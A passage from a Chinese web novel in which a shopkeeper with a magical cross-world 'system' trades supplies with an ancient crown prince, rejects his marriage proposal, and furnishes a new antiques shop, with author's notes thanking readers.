送走文字博物馆的几位专家，小卖部瞬间变得安静下来。 萧妧妧静坐柜台后，一手撑脸，一手捧支票，目光凝视着它。 对她而言，这一百四十万可以说是从天而降，尤其在她不抱希望，甚至早早将这件事遗忘在脑后的时候惊喜度瞬间翻倍。 整整一百四十万！再加上自己账户里原有的余额，她手上差不多有三百多万的现金！ 曾经那些因为囊中羞涩而不敢去想象的事物，此刻如雨后春笋一般冒出来找存在感。 买一套属于自己的房子的念头开始在她脑海中清晰、放大。 大概是存款给了她底气，萧妧妧当即查看起南市的房市行情，可没看两眼，瞬间提不起劲了。 凡是她看得上的地段、户型，无不是上千万一套，买不起。 “他们走了吗？”龙傲天从结界里探出半截身子，用气音低声呼喊。 萧妧妧听到声，忙收起手机，招呼他进来，“刚走，继续？” 龙傲天叹气，无奈点头，“继续。” 萧妧妧一边帮忙转移压缩饼干，一边偷摸和系统对话。 “统，咱们能不能人性化一点？比如来个一键送达的功能，我的客户都不太喜欢自己动手。” 滴滴两声，系统提醒：【距离开启送货功能还需十八万件交易数量，您暂不符合申请要求】 萧妧妧失望的哦了一声，随即注意到一个关键词。 “难道说有些功能是需要申请才能开通的？” 系统：【是的】 萧妧妧兴奋问：“那我现在的交易件数够申请哪些功能？” 光屏一闪，系统界面自动弹出一个对话框。 【防叠加功能符合申请条件，是否申请开通？】 萧妧妧虽然没被系统坑过，但该有的警惕心一点不少，“你先解释解释。” 光屏又是一闪，关于【防叠加】功能的介绍清晰列出介绍。 萧妧妧耐着性子读一遍，终于弄明白了。 【防叠加】是针对文物的重要功能，唯一的作用是用来防止同一时空位面出现两件一样的文物，导致位面产生bug。 功能开启后，结界相当于海关的作用，进出结界的客人被动且在不知情的情况下接受检查，如果携带违规物品，结果是无法通过结界。 而如果她没有开启功能，任由同一个位面出现两件一模一样的文物，系统自动触发警报，总系统直接给你消消乐，两个一起消灭。 萧妧妧一想到文物会消失，哪怕另一个不属于她也忍不住心疼。 那可是文物啊。 这个功能来得正好，萧妧妧恰好犯愁，愁苏娇娇给她弄来一些三次元已经有的文物，没被人发现倒还好，被人知道了解释不清。 萧妧妧举一反三，又问：“那是不是有什么，不允许售卖超过买卖双方所处位面科技水平的武器，不允许客人携带武器进店，不允许危险系数高的非人类进店……这样的功能？” 【您咨询的功能为自动开启且不可关闭的安全防护功能，不可携带武器默认为热武器，如需调整限制级别请自行操作】 得到答案，悬着的心终于落回肚子里。 别的不说，非人类角色拒绝进店这一点她爱死了。 她现在连奥特曼打小怪兽都不敢看，生怕哪天来个小怪兽砸场子。 萧妧妧略作思考，继续问：“小卖部和客人是单方面联系，客人有需求随时随地能进来，假如我想要主动去联系某位客人呢？ 比如说有些商品已经到货了，或者是准备推出一些优惠活动之类的消息，有没有相关的功能能够实现这个操作呢？” 系统：【您咨询的交互功能需要升级至二级】 萧妧妧不禁撇了撇嘴，说到底还是得多卖点货才行，也不知道要等多久…… 和系统有一搭没一搭的聊着，再有一搭没一搭的配合龙傲天转移物资，一心二用的结果是她压根没能注意到，龙傲天背着他偷懒。 萧妧妧面色不善地盯了他一会，龙傲天面色讪讪，不情不愿的加快速度。 拖车完成使命是半小时后的事了，一百箱压缩饼干全部运走，龙傲天累得几乎瘫倒，接过萧妧妧递来的白水咕嘟咕嘟，也不嫌弃它比不上自家茶水。 龙傲天喘匀气，随口抱怨：“萧老板如此神通，怎么不能帮孤把东西送出去？” 萧妧妧全当没听见，这事又不是她想不想能解决的。 龙傲天显然不是很在意她的回答，说完，扭头看了看自家宅院里凌乱堆放的箱子，问出心中疑惑。 “萧老板，这么点东西，能顶得住吗？” 东西是一箱箱搬出来的，龙傲天不知道总数，搬得时候累得要死，希望赶紧结束，搬完一打量，发现东西比想象的少太多。 龙傲天还是懂一点常识的，每次出征粮草无不是绵延好几里，骡子驴要上千匹，并且还需中途补给。 但是数来数去，算上止血药一共才五百来箱，当然，箱子体积确实有点大，份量足得他胳膊酸疼，但那也是五百来箱，十几头驴就能拉走。 要说这点东西能撑得住上万人消耗，龙傲天心里直打鼓。 萧妧妧理解他的质疑，问：“现在饿不饿？” 龙傲天感受一下，点头，“饿。” 做了大半天苦力活，怎么能不饿。 萧妧妧拆了一包压缩饼干给他，“尝尝看，先吃半块吧。” 龙傲天将信将疑，强忍着让老太监试毒的冲动，小心翼翼咬下一小口。 “味道竟然还不错！” 龙傲天咀嚼片刻，神情有点意外，又咬下一大口仔细品尝，等他吃完了大半块，吞咽速度肉眼可见慢下来，他惊异地捂着肚子。 “我只吃了半块，为何……” “是不是有强烈的饱腹感？”萧妧妧看他点头，笑道：“这就是压缩饼干，一块可以顶一顿，这里是六万包，肯定够用。” 龙傲天定定地望着手里的半块饼干，不可置信。 出于对萧妧妧的信任，也抱着点示好的意思，龙傲天打从一开始就没打听价格，掏个几百两给出去，由萧妧妧看着安排，算是试水，看看小卖部有多少他不知道的惊喜。 这一试，龙傲天惊呆了。 “……这些东西，真是孤给你的那点金子能买到的？” 龙傲天好像做梦一样，有种花小钱办大事，占了大便宜的感觉。 萧妧妧心说，你给的那可不是一点，9000多克金子，将近六百万人民币，而买下压缩饼干总共才花去不到二十万，这利润，卖白.粉都没她赚得多。 萧妧妧清清嗓子，语气诚恳，“本来是买不到的，这不是看在老顾客的份上，给你一点优惠嘛，你方便我，我方便你，咱们才好长长久久合作下去。” 得便宜卖乖，这一套一套萧妧妧学得可快了。 龙傲天闻言果然有一丝丝感动，但很快清醒， “对了，你说要孤帮什么忙来着？” 【作者有话说】 改版后看不懂怎么感谢灌溉，手动试一下，可能不太准 感谢—— 读者“好巧遇见你”,灌溉营养液+1 读者“April”,灌溉营养液+1 读者“慕云初”,灌溉营养液+5 读者“婷婷”,灌溉营养液 +1 读者“婷婷”,灌溉营养液 +1 读者“隺翯”,灌溉营养液 +5 读者“不分先后”,灌溉营养液+2 读者“隺翯”,灌溉营养液 +3 读者“隺翯”,灌溉营养液 +1 读者“隺翯”,灌溉营养液 +1 读者“每天都要开心的梅梅”,灌溉营养液+1 读者“隺翯”,灌溉营养液 +1 读者“财神爷的托儿”,灌溉营养液 +1 读者“隺翯”,灌溉营养液 +1 读者“婷婷”,灌溉营养液 +1 读者“隺翯”,灌溉营养液 +1 读者“慕云初”,灌溉营养液+20 读者“隺翯”,灌溉营养液 +1 读者“52936078”,灌溉营养液+30 读者“隺翯”,灌溉营养液 +1 读者“April”,灌溉营养液+1 47 第47章 ◎“制盐工艺？”◎ 萧妧妧兴奋地搓了搓手,她有十足把握龙傲天会答应她的请求。 龙傲天的位面拿不出什么有历史价值的古董文物，但是古色古香的好东西最不缺。 这些东西在现代的价格她高攀不起，但是在古代相对来说容易不少，尤其有龙傲天的皇储身份,优势巨大。 萧妧妧扒拉一番,从龙傲天塞来的荷包里,分出一半尾款递回去。 “我需要你帮忙淘点东西,不需要多贵重，那什么双面绣屏就挺不错,还有那对玉瓶，我看你们那里的家具很有意思,浅浅弄点什么紫檀木、黄花梨木的家具，随便是柜子桌子椅子或者是凳子,我不挑的。” 龙傲天正襟危坐，态度端肃,以为她要托付什么重要事,听到一半,神情渐渐错愕。 “就这？” 萧妧妧嘿嘿笑,“直说吧,能不能帮忙？” “你若要，孤现在给你搬几个来，值当你说这么一串话，”龙傲天摆摆手,看了看柜台上的金子，“萧老板如果想支付报酬,倒是不必用金子,为孤准备点驱寒汤药,或者御寒衣裳也成。” 边州地处偏远，气候寒冷恶劣，冬季漫长而难熬，老七若是真要动手，必定会在此处大做文章、耍弄手段，必须时刻小心提防才行。 萧妧妧的笑容愈发灿烂，她急忙将那堆金子收好，满口答应。 “汤药好说，我今天就能给你，至于衣服，军大衣怎么样？” 话音未落，她已转身小跑回客房，翻出提前准备好的军绿色大衣，然后一路小跑到龙傲天面前，将其递了过去。 龙傲天惊奇端详样式奇特的衣物，接过后认认真真检查，不放过任何一个细节。 过了一会儿，龙傲天抬起头来，“可否拆开一看？” 萧妧妧递去剪刀，“随意查看。” 得到允许后，龙傲天动作笨拙地拆了内里衣角，放在手中反复揉搓着，试图通过这种方式来分辨出它究竟是由何种材料制成。 然而里料柔软，不像是葛布麻布一类，是他从未见过的新东西，龙傲天分辨不出是什么，索性放弃，直接将衣服穿在身上，亲身感受一下它的效果。 穿上衣服的那一刻，空调散发的冷气完全阻隔，温暖感觉包裹全身，他不由得微微眯起了眼睛，脸上露出满意神色。 萧妧妧看他有几分满意，自觉为他介绍：“外面料子是粗糙了些，但是耐脏耐磨，可以经受得住各种恶劣环境的考验。而且，面料进行了改良处理，具备良好的防风性能。 内里是上等棉花和柔软的羊绒混合而成，不仅厚实保暖，穿着也十分舒适。 当然，用料讲究，价格自然会偏高一些。我这里还有采用纯棉花作为内里的款式，相对来说会便宜不少。” 听完萧妧妧的介绍，龙傲天的神情突然发生了微妙变化。 他瞪大双眼，声音不自觉地提高，难以置信地问：“你刚刚说……内里是棉花？还有羊绒？” 她点了点头，肯定地回答：“对啊，就是棉花。怎么了？难道你们那里没有棉花吗？” 萧妧妧担心两个位面对于棉花的认知和定义有所不同，赶忙翻找出来一张棉花的图片，递给龙傲天看。 龙傲天紧紧地盯着手中棉花的照片，眼睛眨都不眨一下，从幼苗到开花再到成熟，几张照片翻过来倒过去，反反复复看了无数遍。 “竟然真的是棉花……”龙傲天像是被施了定身咒一般，一手摸着军大衣，一边喃喃自语。 此时的龙傲天显得异常激动，他猛地转过身去，背着手开始在房间里踱起步来。 随着他脚步的加快，面色越来越红润，呼吸也变得急促。 “你可别热中暑了，脱了衣服再团团转呗？”萧妧妧见状，忍不住开口提醒他。 沉浸在自己思绪中的龙傲天对她的话恍若未闻，依旧自顾自地踱步不止。 萧妧妧猜测道：“你们那里也有棉花吧，多半还没人发现棉花保暖效果好？” 不然很难解释龙傲天这么激动是为了什么。 “萧老板猜对了。”龙傲天踱步片刻，稍稍恢复了平静，肯定她的猜测，深吸一口气问：“做一件大衣需要多少棉花？一亩地能产出多少斤？萧老板这里的棉花多少钱一斤？还有，棉花最适宜种在什么样的地里？” 他的问题太多，萧妧妧听完一遍根本记不住。 她无奈地耸了耸肩，“说不准，用多少棉花没有一个固定的量，主要是得看你们那边冬天的气温到底有多冷。 至于产量和价格，你没必要知道，没有参考价值。 如果你需要，我可以整理一下资料，把棉花种植的一些注意事项告诉你。” 龙傲天一拍脑门，自嘲地笑道：“是孤太着急问了蠢话，萧老板说得有道理。那么，这一件棉大衣要多少钱？” 一向对钱财不太在意的龙傲天，此刻破天荒地关心起价格问题。 衣裳在古代社会毫无疑问是珍贵财产，尤其是能抵御严寒的衣物，价值更不菲，龙傲天在权衡利弊。 毕竟出征的军队从将领到兵卒，没有一个是他的人，值不值得在他们身上投入那么多，是龙傲天眼下需要判断的事。 以及，军大衣保暖效果显著，肯定有人好奇，像他一样拆开布料琢磨里面究竟是什么。 随之而来的，棉花能做衣裳的消息必定流传出去，龙傲天不得不顾忌。 “衣裳不急，重要的是伤寒药，劳烦萧老板多准备点。孤这就给你取东西去。” 棉花能做御寒衣物这件事太重要了，龙傲天一个人无法决定，必须尽快与门下的谋士们共同商讨，研究如何巧妙地利用棉花，为自己谋取到最大化的利益。 商议出结果之前，哪怕棉大衣再出色、再令人心动，龙傲天也坚决不能让它落入他人之手。 带着满心的不舍，他缓缓放下手中的军大衣，转身离开。 萧妧妧不禁感到一阵失落，只能默默地将那件衣服收起。 她并未因此气馁太久，很快打起精神来。 没事，龙傲天不愿意购买并不代表其他人也会无动于衷，还有申明月呢，好东西不愁卖。 趁龙傲天取东西的间隙，萧妧妧也要准备一些感冒药、退烧药，各三千盒，还为他准备了一箱挂面，送给他尝尝鲜。 萧妧妧刚刚将一切准备妥当，还未来得及喘口气，龙傲天风风火火地拖着、抱着一大堆物品走了进来。 其中不仅有着萧妧妧点名要的玉瓶、双面绣屏、黄花梨方香几，更有许多她未曾提及的宝贝玩意儿，什么鹅毛扇、檀木扇、黄花梨炕屏、掐丝珐琅瓶…… 叫不上名字的东西太多了，他甚至连方香几上的兰花一起搬了来。 从未见过如此阵仗的萧妧妧瞠目结舌，目不暇接，半张着嘴巴看他一趟趟运，结界显示的画面一会是库房，一会是厢房，一会又变成书房。 “够了够了！再多我的铺子就塞不下了！” 眼看着龙傲天又搬来好几方砚台以及墨块，萧妧妧终于回过神来，连忙高声叫停。 忙得不亦乐乎的龙傲天不由得愣住，“这些东西足够换药了？” 全是些库房里放落灰的物件，要不是萧妧妧点名要，他根本想不起去看一眼，没想到它们竟然能派上大用场。 龙傲天不禁意动，如果以后都这般交易该多好啊。 萧妧妧小鸡啄米一样连连点头，何止能换药，药房都给他搬过来。 她算是看出来了，龙傲天搁这清仓甩货呢。 萧妧妧兴奋地东瞧瞧西摸摸，每一件都是只能在博物馆见面的宝贝。 哦，博物馆里的东西甚至不一定有她这里的好。 萧妧妧激动的脸颊通红，除了龙傲天需要的药物，格外大方地添了整整五大箱低钠盐进去。 这下轮到龙傲天惊诧不已。 他动作麻利地拆开其中一包盐，小心翼翼蘸取少许放入口中品尝，确认无误后，一双眼睛瞪得浑圆。 过了半晌，他结结巴巴开口：“……萧老板居然能弄到如此之多的精盐？” 萧妧妧不以为然，不紧不慢地回答，“盐在这边不是什么稀罕物，更不是管制品，想要多少有多少，不过嘛……” 她故意顿了一顿，卖个关子，见龙傲天全神贯注等她讲下文，还瞪眼催促，便接着说道： “你想要盐我可以卖给你，如果你想要制盐工艺，只要你出得起价，我照样能卖给你。” “制盐工艺？” 龙傲天语调尖锐的惊呼出声，似乎不敢相信自己听到的一切。 “对，你没听错。” 萧妧妧微微笑，看龙傲天一副惊愕万分的模样，心里别提多得意。 又是一笔无本万利的买卖，赚个盆满钵满不是问题。 盐可不是随随便便免费赠送给他的，萧妧妧真正想推销的是制盐工艺。 她夸得天花乱坠没用，不如让对方亲眼见识到其中所蕴含的巨大利益和优势，不然怎么能让他心甘情愿地掏真金白银。 【作者有话说】 感谢读者“好巧遇见你”,灌溉营养液+1 48 第48章 ◎“萧老板是否婚配？”◎ “此事非同小可,萧老板，请容我与手下人商议一番。” 他眉头紧锁，陷入了短暂的沉默，过了好一会儿,龙傲天双手抱拳作揖,神情庄重而严肃。 想象中豪气万丈、狂砸金子购买先进技术的场景并没有出现,萧妧妧有点想不通。 她按捺不住,直截了当的问：“难道它对你来说没有一点吸引力吗？” 龙傲天苦笑着摇了摇头，叹息一声：“并非如此,正是因为它们至关重要，孤不得不慎重。” 他并没有将心底真正的想法全盘托出。 不管是棉花还是盐,无论一项被推广开来，都将成为载入史册的功绩,为大兴带来天翻地覆般的巨大变革，而在位的帝王也必定在历史长河中留下浓墨重彩的一笔。 试问哪个帝王不想成为千古一帝,成为后世传颂不衰的明君。 龙傲天有私心,能有此机遇千载难逢,他定然是想留到自己登基以后再宣告天下。 萧妧妧撇嘴,“不就是利益最大化嘛,打量谁不知道呢……” 龙傲天意外了一瞬，坦然承认，“知我者，萧老板也。” 申明月那里处在拉团队拉投资的阶段,手上没人没钱，想做点什么施展不开。 龙傲天不一样,萧妧妧以为他有母族撑腰,有朝臣辅佐,必定会一帆风顺，不会遇到什么太大的阻碍，哪知道根本没那么简单。 她分*明看出来，龙傲天对制盐工艺心动不已，甚至可以说是渴望至极，但是他不买单啊。 萧妧妧不死心，重新接上话题，试图打动他。 “我们这里有句话叫早买早享受，你早点学会棉花种植制衣的方法，早点晒出大量细盐，能为百姓带来多大的好处啊！ 他们可以用上价格低廉的盐，穿上温暖舒适的棉衣，经济跟着得到发展，不仅对百姓们来说是天大的好事，对于你而言，也是一项了不起的功德。” 龙傲天似笑非笑，玩味开口：“萧老板极力相劝，难道是为了孤的功德？孤下辖百姓吃饱穿暖？” “萧老板何尝不是有自己的私心。” 萧妧妧顿时哑口无言，无可辩解，他话说得难听，但没毛病。 龙傲天不肯带走方子，是为自己谋取更大利益，她卖力推销是为了赚卖方子的钱，同样为自己利益考虑，半斤八两。 她反唇相讥：“我是商人，有私心看重利益再正常不过，殿下身份不一般，我以为您更在乎民生福祉，而不是和我这个商人一样，只看重个人得失。” 不知道是不是她说话太难听给气着了，龙傲天绷着脸沉默下来，看萧妧妧的眼神流露出几分幽深。 萧妧妧不甘示弱，瞪视他。 一时间，氛围稍显凝滞。 萧妧妧这时意识到，屁股决定脑袋这话一点不假。 更意识到，赚钱这事，有时候确实需要一个恰到好处的时机。 “萧老板言之有理，孤受教了。”僵持了片刻，龙傲天率先抱拳作揖。 萧妧妧顺坡下，文绉绉的回他：“殿下折煞我了，私心嘛，谁都有，我不该苛责任何人。” 气氛总算缓和，话题到此为止。 最后几批物资交易完成，萧妧妧催他赶紧回去。 她要趁时间还早，请博主帮忙鉴宝，新店很快要开业了，价格得早点定下。 这时候，萧妧妧无比期望能有一个估价功能，不知道能为她省下多少麻烦。 “统，你老实告诉我，到底有没有估价的功能啊？有的话，我再努努力，早点升级。” 【您的交易件数不达标，需要升至三级开启功能】 萧妧妧听明白了，当即振作起来，区区三级，不难。 萧妧妧摩拳擦掌，打算大干一场的时候，龙傲天犹犹豫豫来到柜台前。 “殿下还没回去呢？” 萧妧妧一直专注于跟系统交流，完全没留意到龙傲天缓慢向自己靠近，冷不丁看到他吓了一跳。 龙傲天见到萧妧妧如此反应后，身体下意识地挺得更直了些，脸上神情略微不自然。 他轻咳一声，开口问道：“萧老板，不知您贵庚几何？” 萧妧妧随口胡扯，“三十多岁了，快四十。” 龙傲天惊愕不已，“萧、萧老板，你该不会是在开玩笑吧？” “你们古代人说话拐弯抹角的真麻烦，有事赶紧说。” 她看一眼手机，已经下午六点，磨蹭半天影响她下班。 龙傲天揉了揉鼻尖，试图掩饰内心的尴尬，他清清嗓子，略有一丝生硬且不自然的语气描补：“那个……三十几岁嘛，正是风华正茂的年纪呢。” 萧妧妧看向他的眼神变得十分怪异，实在是他态度古怪，小动作密集，很难不怀疑他打什么坏主意。 等了足足十几秒，龙傲天缓缓开口：“萧老板是否婚配？” 从和萧妧妧接触几次的经验来看，她说话做事一向直来直去，龙傲天便也敞开了问。 萧妧妧拧紧眉头，满脸狐疑地盯着他，“我都离过一次婚了，有两个孩子呢。” 原本还自信满满的龙傲天瞬间愣住，他瞪大双眼，略显呆滞的目光上下打量萧妧妧，仿佛要从她身上找到已婚已育已离的证据。 可是无论怎么看，面前的萧妧妧分明是一个青春靓丽的年轻姑娘。 “……这……两个孩子孤倒是能养得起……”龙傲天捏着下巴，好像在努力说服自己的样子。 沉思间，他一不小心秃噜出来的话犹如一道惊雷，雷得萧妧妧外焦里嫩，差点弹跳起来。 “我跟你谈生意，你却在背后打我主意，有你这么恩将仇报的吗？” “哦，我知道了，是不是以为跟我谈感情，什么制盐工艺造纸工艺你想拿就拿？” 萧妧妧双手叉腰，气呼呼地斥问他，她越说越激动，声音不自觉拔高。 “不对，你应该是怕我把它们卖给别人！” “你想peach！” “神经。” 龙傲天心中一惊，强装镇定地说道：“你胡思乱想什么呢？哪有的事儿！” 然而他闪烁不定的眼神早已出卖了他，萧妧妧一眼看穿，双手环胸，静静看着他如何狡辩。 “萧老板莫要误会……好吧，孤承认，孤是一时糊涂，的确想着纳了萧老板，这不过是孤一厢情愿，是孤冒犯了萧老板……” 龙傲天看她柳眉倒竖，很快意识到自己得罪了人，他一下子慌了神，还有一些被人戳破小心思的难堪，语气急促的赔礼道歉。 “带着你的感冒药滚出去。”金子舍不得扔，为了不输气势，萧妧妧拎起一箱感冒灵丢过去，“算盘珠子都崩我脸上了，当我不知道你那点小心思？” 龙傲天当然不能走，他还没把萧妧妧安抚好，刚打算说点什么求原谅的时候，萧妧妧直接脱下洞洞鞋捏在手中，三两步冲过去，作势要抽他脑瓜子。 龙傲天大惊失色，没想到萧老板竟然如此粗鲁，连声说几句抱歉，抱着脑袋灰溜溜逃出结界。 仓惶的背影消失在眼前，萧妧妧嘁了一声，翻了一个大大的白眼。 “呵……男人。”萧妧妧不屑撇嘴，嘴角勾成耐克，嘲讽完转身，倏然间瞥到小卖部门外站着一个人，“……” 萧妧妧一惊，赶紧放下鞋子套在脚上，又擦了擦手跑过去开门，忐忑地迎他进来。 “黎先生来买棒棒糖？” 黎行聿提了提手上东西，“来感谢萧小姐，顺便还你的头盔。” 头盔……萧妧妧目光下移，懵了一会，“头盔怎么在你那里？” 店里一片狼藉，没地方下脚，她试图清理出一片区域，请他坐下喝杯茶，但很快被黎行聿制止。 “不必麻烦，恰好顺路送来，我等会就走。”头盔放在柜台上，黎行聿解释：“早上把它交给小墨，他顺手带回家了。” 萧妧妧注意到，黎行聿这次换了一套西装，稍微有点隆重。 衣领上别了个闪亮亮的胸针，手上腕表换成了高调的款式，领带夹上面镶嵌了宝石，浓浓的金钱气息。 做了几笔大生意有些飘飘然，自得存款千万的萧妧妧瞬间脚踏实地。 也不知道她赚的那点钱够不够买这一只表…… “谢谢你啊，还特意跑一趟。”萧妧妧抱起头盔不着痕迹地检查，没看到划痕，心情好多了。 “是我要谢谢萧小姐。” 萧妧妧不以为意，挥挥手说：“你太客气了，用不着谢的，你弟弟付了钱呢。” 黎行聿有些意外她的回答，稍稍愣了两秒。 该说的说完，该还的东西送到她手上，半生不熟的两人很快陷入沉默，黎行聿看她这里一团乱，指了指路边等待的车子。 “我还有事，先离开了。” 萧妧妧微笑点头，目送他离开，重新锁上感应门。 一得空闲，萧妧妧马上把龙傲天拉黑名单十天，十天后看她心情要不要放出来。 灰溜溜回到温泉别庄，龙傲天深深叹气，他知道自己得罪了萧妧妧，但想不通究竟哪里得罪了。 完全想不通。 正在这时，太子妃端来点心，迈步进入书房。 “殿下今日见着她了？” 龙傲天撇过头，没好气的说：“莫要提她。孤一提出要纳她为侧妃，她气得将孤打了出来。” 太子妃不解：“为何？她既愿意辅佐殿下，为殿下出谋划策，又为殿下筹集粮草，若不是想进府，那是……” “不知道不知道，孤要是知道她想什么就好了。”龙傲天烦躁地踱步，“哎，若不是听了你的话，这遭绝不能得罪了她，你……哎！” 太子妃垂眸不敢吱声，一副羞愧模样，心里连连冷笑。 当她看不出来，龙傲天心里也是想的，几次在她面前夸赞那位萧老板本事大，若能得她全心全意相助，势必如虎添翼。 如何能让一个女人全心全意助力一个男人？ 除了权利最稳妥的便是感情，用感情骗，用婚姻绑，不用付出利益就能得到她的死心塌地。 太子妃揣摩片刻，主动开口纳她进府，殿下那夜高兴得很，抱着她不撒手，直言太子妃大度有格局。 太子妃笑了笑，“萧老板本事大，想必是看不上侧妃之位的。” 龙傲天拧眉，摇摇头，迟缓说道：“不，她看不上的应该是孤。” 太子妃露出疑惑之色，忙追问：“那位萧老板……究竟是什么人？” 不怪她起疑，常常听龙傲天提起萧老板，口口声声说着萧老板于他助力甚多，甚至帮他躲过一场大劫。 然而每当她打听萧老板的具体情况，比如她家住何方、店铺开设在哪里、他们又是怎样相识相遇……龙傲天守口如瓶，半句不肯吐露。 “罢了罢了，婉儿，去备下一份厚礼，过两日等萧老板气消了，孤亲自登门去向她赔个不是。对了，一定得是大礼。”他补充道。 萧妧妧有制盐工艺，手里掌握棉花种植的法子，说不定还有许多他想不到的好东西。 龙傲天重新评估萧妧妧的价值后，陡然意识到，像以前那样，拿些首饰珠宝或者区区几百两黄金敷衍应付的行为，很拿不出手。 太子妃闻言躬身退下，出了院子，召来管事嬷嬷。 “去开大库房和殿下的私库，压箱底的东西通通拿出来。记得先把册子一并带来。” 管事嬷嬷听说要开殿下私库和大库房，顿时一凛，急急忙忙领命离开。 太子妃走远后，驱散伺候的太监宫女，龙傲天转身回书房后的院子拆箱子。 可恨身边眼线众多，否则哪轮到他堂堂太子做这些活。 拆到一半他忽然想起什么，丢下裁纸刀，撩起袍子去了前院。 临走前，他着重警告不许任何人靠近书房。 “卿文，你快派人去一趟……不，你亲自带上府兵，随便去哪个州，找一种名为棉花的东西。” 龙傲天没等进门便嚷嚷着要派幕僚办事。 棉花于他而言实在太重要了，旁人信不得，他望着一脸茫然的文士，低声说：“若是旁人问起，只管说孤派你去为父皇寻寿礼。” 名唤卿文的幕僚迟缓反应过来，下意识追问：“这棉花是何物？可有什么特征？” 龙傲天闻言，抢过幕僚手中的笔，根据记忆画下棉花的图样。 “此次派你离京，寻找棉花是其一，其二是宁州，打听清楚那边的制盐过程。这事很重要，不到万不得已，不可亮明身份。” 难得见太子殿下急吼吼下命令寻找什么东西，幕僚神情严肃，接过纸一看，满心的纳闷。 “竟是……花木？” 龙傲天意味深长的笑了笑：“卿文可莫要小看它……罢了，等找来棉花，孤再与你细说，这可是大喜事，卿文你多多上心，尽快出发。” 幕僚按下疑惑，躬身领命。 龙傲天交待完事情，摆摆手离开。 既然萧老板言之凿凿地声称制盐工艺能够改进，想必此言不虚，他当然要去查个清楚再做决定。 空口无凭，更何况他对于制盐之事可谓是一窍不通，贸然拿出方子，恐怕不仅难以取信于人，反而还会招来猜忌。 至于如何凭借方子笼络人心，倒是需要好好琢磨一番。 想到这里，龙傲天不禁停下脚步，默念口令，他想偷偷回去看一眼，看萧妧妧气消了没。 可他一遍又一遍召唤，那道散着金光的朱红色大门久久未能显现。 怎么失灵了？莫非萧老板不欢迎他了？ 龙傲天思绪发散，无数种猜测涌上心头，顿时慌得要死。 “来人啊！速去后院，让太子妃备厚礼、备重金！” 【作者有话说】 感谢：读者“好巧遇见你”,灌溉营养液 +1 读者“慕云初”,灌溉营养液 +20 读者“每天都要开心的梅梅”,灌溉营养液 +1 读者“好巧遇见你”,灌溉营养液 +1 49 第49章 ◎不倒闭和不破产◎ 夜幕降临,小卖部结束营业，萧妧妧想连线博主却发现错过了直播时间，便歇了心思，转而专心布置新店。 堆在后门的物品杂七杂八,难以计数,需要她一件件搬到后院清理干净再登记成册,最后摆进店铺里。 萧妧妧怕磕着她的宝贝们,戴上手套小心翼翼挪动。 方几挪到架子边，兰花要摆在方几上,一匣子不知道材质的扇子通通展开铺在柜台里。 雕着神女奔月的玉瓶放多宝架上好看，有七十寸液晶显示屏那么大的双面绣屏需要独占斗柜。 萧妧妧怕摔了它们,细心贴上禁止触摸的提示牌。 黄色的掐丝珐琅瓶色彩明艳，最适合出现在阳光下,萧妧妧决定把它摆在窗前的矮柜上，又从院中折了两枝木绣球插进去装饰,郁郁葱葱的绿叶衬得珐琅瓶更娇嫩。 雕有事事如意字样的玉如意色泽清透,找来与之相配的展示架,萧妧妧将它摆在有射灯的柜子里,更显精致透亮。 一对雕了花鸟图的乌木挂屏保养不当,变得灰扑扑，看不出往日神采，萧妧妧一边念叨可惜，一边查找清理方法,简单擦去灰尘后，对称悬挂在店铺东墙上。 还有客人们随金子一起付给她的荷包,个个精致漂亮,她攒了七八个,全部洗净挂在挂钩上。 古朴又有意趣的老物件们入驻店铺后，萧妧妧真切感受到了历史的气息，这种感觉与她之前努力营造的古风表象截然不同，它更为真实、深沉。 至于那两把楠木圈椅，因空间有限，萧妧妧只得先将它们放在廊下，配一个圆凳充当桌子用。 仅仅收拾出一半的东西摆上，整个院子看起来已经很有韵味了。 萧妧妧站在院子中央，环顾四周，脸上洋溢着满足的笑容。 第二天周五，小卖部不营业，寄去鉴定中心的珠串也送到了，萧妧妧决定花一整天时间把店铺陈设定下来，顺便等博主上线直播。 她刚结束登记，正准备起身活动一下肩颈，门口传来清脆的声音。 “妧妧姐，妧妧姐你在店里吗？” 听到是云昭昭的声音，萧妧妧意外了一瞬，连忙放下手中的东西跑到门口。 更意外的是，不止有云昭昭，还有好久没见到的季随。 “你们怎么来了？” 萧妧妧惊讶两人竟然一起出现，还找到188号，请他们进来坐。 “今天周五，小月亮飞国外和她爸妈去游乐园玩，黎先生给我放假了。”云昭昭欢快答话，瞄一眼身后戴着墨镜，一脸冷淡的季随，又说：“半路遇见季先生，他说正好过来采风，我们就一起来了。” 季随先是望一眼院子，随后看向萧妧妧，礼貌颔首，询问道：“萧小姐，介意我在院子里拍几张照片吗？” 萧妧妧知道他是在为新电影选景，有事没事在南市各处转悠，自然不介意，抬手示意他随意拍。 云昭昭趁机走到萧妧妧身边，迫不及待地向萧妧妧邀起功来：“妧妧姐我想好店铺名字了，小卖部叫不倒闭，新店叫不破产，不过，卖古玩艺术品的话，我觉得叫不破斋更合适。” 萧妧妧轻声念叨了两遍新名字，仔细琢磨一会儿之后，不禁点头表示赞同。 “嗯，确实比‘不破产’要顺耳，而且没有什么不合适的谐音或者容易引起歧义的地方。”萧妧妧找不到一点毛病，当即拍板：“新店就叫‘不破斋’吧！” 哪怕知道萧妧妧做事一向果断利落，云昭昭都不由怔住。 有点太利落了，从拿到新店名到定下名字，总共只过去了两分钟，利落的稍显仓促。 云昭昭来时信心满满，这会反而没信心了，“要不……妧妧姐你再考虑下？我现在又觉得这名字太随意了，我再认真想想。” 作为把关的人没挑剔几句，云昭昭心里不安。 “不破斋？这名字很有意思。”季随从树下走到两人附近。 萧妧妧明知道季随是为了女主而附和，但男女主都说好，那就是真的好，男女主光环一起蹭！ “就这么定了，不破斋，嘿嘿。” 想了好久的名字接连得到肯定，还正式敲定当做妧妧姐新店的名称，云昭昭难掩心底的满足雀跃，顶着绯红脸颊，笑容腼腆。 店铺名称敲定，下一步需要□□件，萧妧妧选择APP上填写信息并提交申请，等下周过去领许可证即可。 云昭昭则趁机环视院子，几天没来，添了好多东西，原本留作卧房的两个房间打通，宽敞明亮。 阳光透过雕花窗格洒进去，里面的物件鲜活又美丽，远远的看一眼，即便不够真切清晰，云昭昭就已经挪不开目光了。 云昭昭有些不好意思地笑了笑，略带几分期待的问：“妧妧姐，我可以看看你的新店吗？” 住进萧家后她一直早出晚归，没课的时候还要瞒着大家出去兼职，有时候想来帮妧妧姐看一会铺子都挤不出时间。 难得放假，云昭昭想来帮忙，结果小卖部根本不营业，她毫无用武之地。 萧妧妧把几扇木门全部敞开，热情地招呼：“随便看，顺便给我提提意见，看看哪里摆得不合适。” 